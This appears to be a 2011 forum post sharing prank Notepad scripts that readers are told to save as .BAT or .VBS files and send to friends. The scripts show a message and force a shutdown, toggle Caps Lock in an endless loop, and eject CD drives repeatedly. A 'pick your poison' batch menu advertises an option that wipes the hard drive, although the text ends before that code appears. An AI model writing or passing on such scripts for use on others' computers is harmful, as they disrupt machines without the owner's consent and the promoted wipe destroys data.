Notepad scripts collection

ishtiaqangel · 10-22-2011, 08:20 AM

1) Convey your friend a little message and shut down his / her computer
Open notepad and write in this code

Code:
@echo off 
msg * I don't like you

 shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" and send it.

2) Toggle your friend's Caps Lock button simultaneously
Open notepad and write in this code

Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
 do
 wscript.sleep 100
 wshshell.sendkeys "{CAPSLOCK}"
 loop

Save it as "Anything.VBS" and send it.

3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Open notepad and write in this code

Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")

 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count - 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count - 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
 loop

Save it as "Anything.VBS" and send it.

To stop the CD or DVD rom from poping in and out go to task manger , look for a task called wscript.exe and end it

4) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

Open notepad and write in this code

Code:
@echo off
 title The end of the world
 cd C:\
 :menu
 cls
 echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
 pause
 echo Pick your poison:
 echo 1. Die this way (Wimp)
 echo 2. Die this way (WIMP!)
 echo 3. DO NOT DIE THIS WAY
 echo 4. Die this way (you're boring)
 echo 5. Easy way out
 set input=nothing
 set /p input=Choice:
 if %input%==1 goto one
 if %input%==2 goto two

Save it as "Anything.BAT" and send it